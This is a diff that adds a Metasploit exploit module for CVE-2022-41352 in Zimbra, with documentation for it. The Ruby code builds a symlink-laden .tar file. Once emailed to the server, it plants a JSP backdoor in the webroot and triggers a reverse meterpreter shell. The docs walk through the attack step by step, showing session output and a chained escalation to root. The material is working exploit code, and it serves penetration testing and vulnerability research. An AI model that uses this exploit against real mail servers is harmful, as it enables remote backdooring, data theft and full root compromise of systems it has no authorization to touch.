diff --git a/documentation/modules/exploit/linux/http/zimbra_cpio_cve_2022_41352.md b/documentation/modules/exploit/linux/http/zimbra_cpio_cve_2022_41352.md new file mode 100644 index 0000000000..318c44e5a5 --- /dev/null +++ b/documentation/modules/exploit/linux/http/zimbra_cpio_cve_2022_41352.md @@ -0,0 +1,190 @@ +## Vulnerable Application + +This module exploits a symlink-based path traversal vulnerability in `cpio` +(that's identified as CVE-2015-1197) that's exploitable in Zimbra. The +following versions of Zimbra are vulnerable: + +* Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier) +* Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier) + +The patch for Zimbra adds `pax` as a pre-requisite, so any version of Zimbra +(except Ubuntu 18.04, which has a patched `cpio` binary) can be made vulnerable +with `rm $(which pax)`. + +To verify a host is vulnerable, ensure that `pax` is not installed on the host. +Also, validate that `cpio` is listed in `amavisd.conf` as an option to extract +.tar/.cpio files: + +``` +[ron@mail tmp]$ sudo cat /opt/zimbra/conf/amavisd.conf | grep cpio +[...] + + [['cpio','tar'], \&do_pax_cpio, ['pax', 'gcpio', 'cpio'] ], +``` + +Note that this can be chained with other Zimbra exploits to get root. + +### Installing Zimbra + +Create a VM + +``` +HDD = 128gb +Memory/etc don't matter +``` + +I installed a local DNS server (note: replace `` with the host's actual ip) +(other note: replace `apt` with `yum` to do this on a Red Hat-derived system): + +``` +sudo apt update && sudo apt install dnsmasq +sudo hostnamectl set-hostname mail.example.org +echo " mail.example.org" | sudo tee -a /etc/hosts +echo -e 'listen-address=127.0.0.1\nserver=8.8.8.8\ndomain=example.org\nmx-host=example.org, mail.example.org, 5\nmx-host=mail.example.org, mail.example.org, 5' | sudo tee /etc/dnsmasq.conf +``` + +Configure the host to use it: + +``` +sudo systemctl disable systemd-resolved +sudo systemctl stop systemd-resolved +sudo killall dnsmasq +sudo systemctl restart dnsmasq +echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf +``` + +Download Zimbra from +https://www.zimbra.com/downloads/zimbra-collaboration-open-source/ - you'll +have to sell your soul and opt-in to spam, but they don't validate your email. + +``` +tar -xvvzf zcs-*.tgz +cd zcs* +sudo ./install.sh + +* Lots of +* DO NOT install `dnscache` module (respond `N` when it ask), I had conflict issues with the local `dnsmasq` +* Yes change the system +* Setup the admin password, probably turn off auto-updates +``` + + +## Verification Steps + +1. Do: `use exploit/linux/http/zimbra_cpio_cve_2022_41352` +1. Do: `set RHOSTS ` +1. Do: `set LHOST ` +1. Do: `exploit` + + +## Options + +### `FILENAME` + +The filename to generate - defaults to `payload.tar`, but can be changed on the +filesystem or whatever. + +### `TARGET_PATH` + +The absolute path where the payload will extract to. The default is the +webroot, which is usually what you want + +### `TARGET_FILENAME` + +The actual filename. It really should end with `.jsp`, otherwise it won't +execute. + +By default, it's a random string with `.jsp` on the end, in the `public/` +folder. That should work fine, especially because we can't overwrite files and +don't want to use the same payload name more than once. + +### `SYMLINK_FILENAME` + +The path used for the symlink inside the archive; you probably won't ever want +to change this (default: random) + +### `TRIGGER_PAYLOAD` + +A boolean, default `true`, that determines whether we use HTTP requests to +trigger the .jsp payload. Set to `false` to trigger the payload manually. + +### `ListenerTimeout` + +The number of seconds to wait for a new session (default = `0`, or infinite). + +### `CheckInterval` + +The frequency with which to check for the payload on the server. Every +`CheckInterval`, it performs an HTTP request to the payload path. + + +## Scenarios + +To exploit Zimbra, first load the module and generate the .tar file: + +``` +msf6 > use exploit/linux/http/zimbra_cpio_cve_2022_41352 +[*] Using configured payload linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > set LHOST 172.16.166.147 +LHOST => 172.16.166.147 +msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > set RHOSTS 172.16.166.158 +RHOSTS => 172.16.166.158 +msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > exploit +[*] Exploit running as background job 0. +[*] Started reverse TCP handler on 172.16.166.147:4444 +[*] Encoding the payload as a .jsp file +[*] Adding symlink to path to .tar file: /opt/zimbra/jetty_base/webapps/zimbra/ +[*] Adding target file to the archive: public/bdhg.jsp +[+] payload.tar stored at /home/ron/.msf4/local/payload.tar +[+] File created! Email the file above to any user on the target Zimbra server + +[...] waiting [...] +``` + +Then, email that file to any user (including a non-existent mailbox) on the +Zimbra server. Once the payload arrives at Zimbra, Zimbra should try to extract +it to check for malware with no user interaction. Metasploit should see the +malicious file extracted and get a session: + +``` +[...] +[+] File created! Email the file above to any user on the target Zimbra server +[*] Trying to trigger the backdoor @ public/bdhg.jsp every 5s [backgrounding]... + +[file emailed] + +[*] Sending stage (3045348 bytes) to 172.16.166.158 +[*] Meterpreter session 1 opened (172.16.166.147:4444 -> 172.16.166.158:44808) at 2022-10-06 10:27:34 -0700 + +msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: zimbra +``` + +For bonus points, use a different module to get root: + +``` +msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > use exploit/linux/local/zimbra_slapper_priv_esc +[*] Using configured payload linux/x64/meterpreter/reverse_tcp + +msf6 exploit(linux/local/zimbra_slapper_priv_esc) > set SESSION 1 +SESSION => 1 + +msf6 exploit(linux/local/zimbra_slapper_priv_esc) > exploit + +[*] Started reverse TCP handler on 172.16.166.147:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Executing: sudo -n -l +[+] The target appears to be vulnerable. +[*] Creating exploit directory: /tmp/.vT1bDSvZV +[*] Attempting to trigger payload: sudo /opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.vT1bDSvZV/.RhmWwHRn +[*] Sending stage (3045348 bytes) to 172.16.166.158 +[+] Deleted /tmp/.vT1bDSvZV +[*] Meterpreter session 2 opened (172.16.166.147:4444 -> 172.16.166.158:60166) at 2022-10-06 10:45:30 -0700 + +meterpreter > getuid +Server username: root +``` + diff --git a/modules/exploits/linux/http/zimbra_cpio_cve_2022_41352.rb b/modules/exploits/linux/http/zimbra_cpio_cve_2022_41352.rb new file mode 100644 index 0000000000..08ddf2faaf --- /dev/null +++ b/modules/exploits/linux/http/zimbra_cpio_cve_2022_41352.rb @@ -0,0 +1,188 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TAR Path Traversal in Zimbra (CVE-2022-41352)', + 'Description' => %q{ + This module creates a .tar file that can be emailed to a Zimbra server + to exploit CVE-2022-41352. If successful, it plants a JSP-based + backdoor in the public web directory, then executes that backdoor. + + The core vulnerability is a path-traversal issue in the cpio command- + line utlity that can extract an arbitrary file to an arbitrary + location on a Linux system (CVE-2015-1197). Most Linux distros have + chosen not to fix it. + + This issue is exploitable on Red Hat-based systems (and other hosts + without pax installed) running versions: + + * Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier) + * Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier) + + The patch simply makes "pax" a pre-requisite. + }, + 'Author' => [ + 'Alexander Cherepanov', # PoC (in 2015) + 'yeak', # Initial report + 'Ron Bowes', # Analysis, PoC, and module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2022-41352'], + ['URL', 'https://forums.zimbra.org/viewtopic.php?t=71153&p=306532'], + ['URL', 'https://blog.zimbra.com/2022/09/security-update-make-sure-to-install-pax-spax/'], + ['URL', 'https://www.openwall.com/lists/oss-security/2015/01/18/7'], + ['URL', 'https://lists.gnu.org/archive/html/bug-cpio/2015-01/msg00000.html'], + ['URL', 'https://attackerkb.com/topics/1DDTvUNFzH/cve-2022-41352/rapid7-analysis'], + ['URL', 'https://attackerkb.com/topics/FdLYrGfAeg/cve-2015-1197/rapid7-analysis'], + ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P27'], + ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P34'], + ], + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [ + [ 'Zimbra Collaboration Suite', {} ] + ], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', + 'TARGET_PATH' => '/opt/zimbra/jetty_base/webapps/zimbra/', + 'TARGET_FILENAME' => nil, + 'DisablePayloadHandler' => false, + 'RPORT' => 443, + 'SSL' => true + }, + 'Stance' => Msf::Exploit::Stance::Passive, + 'DefaultTarget' => 0, + 'Privileged' => false, + 'DisclosureDate' => '2022-06-28', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('FILENAME', [ false, 'The file name.', 'payload.tar']), + + # Separating the path, filename, and extension allows us to randomize the filename + OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (an absolute path - eg, /opt/zimbra/...).']), + OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: public/.jsp).']), + ] + ) + + register_advanced_options( + [ + OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (default: random)']), + OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]), + + # Took this from multi/handler + OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]), + OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ]) + ] + ) + end + + def exploit + print_status('Encoding the payload as .jsp') + payload = Msf::Util::EXE.to_jsp(generate_payload_exe) + + # Small sanity-check + if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp') + print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?') + end + + # Generate a filename if needed + target_filename = datastore['TARGET_FILENAME'] || "public/#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp" + symlink_filename = datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..10) + + # Sanity check - the file shouldn't exist, but we should be able to do requests to the server + if datastore['TRIGGER_PAYLOAD'] + print_status('Checking the HTTP connection to the target') + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_filename) + ) + + unless res + fail_with(Failure::Unknown, 'Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)') + end + + # Break when the file successfully appears + unless res.code == 404 + fail_with(Failure::Unknown, "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/#{res.code}") + end + end + + # Create the file + begin + contents = StringIO.new + Rex::Tar::Writer.new(contents) do |t| + print_status("Adding symlink to path to .tar file: #{datastore['TARGET_PATH']}") + t.add_symlink(symlink_filename, datastore['TARGET_PATH'], 0o755) + + print_status("Adding target file to the archive: #{target_filename}") + + t.add_file(File.join(symlink_filename, target_filename), 0o644) do |f| + f.write(payload) + end + end + contents.seek(0) + tar = contents.read + contents.close + rescue StandardError => e + fail_with(Failure::BadConfig, "Failed to encode .tar file: #{e}") + end + file_create(tar) + + print_good('File created! Email the file above to any user on the target Zimbra server') + + # Bail if they don't want the payload triggered + return unless datastore['TRIGGER_PAYLOAD'] + + register_file_for_cleanup(File.join(datastore['TARGET_PATH'], target_filename)) + + interval = datastore['CheckInterval'].to_i + print_status("Trying to trigger the backdoor @ #{target_filename} every #{interval}s [backgrounding]...") + + # This loop is mostly from `multi/handler` + stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i + timeout = datastore['ListenerTimeout'].to_i + loop do + break if session_created? + break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i) + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_filename) + ) + + unless res + fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload') + end + + # Break when the file successfully appears + if res.code == 200 + print_good('Successfully triggered the payload') + # This should break when we get to session_created? + end + + Rex::ThreadSafe.sleep(interval) + end + end +end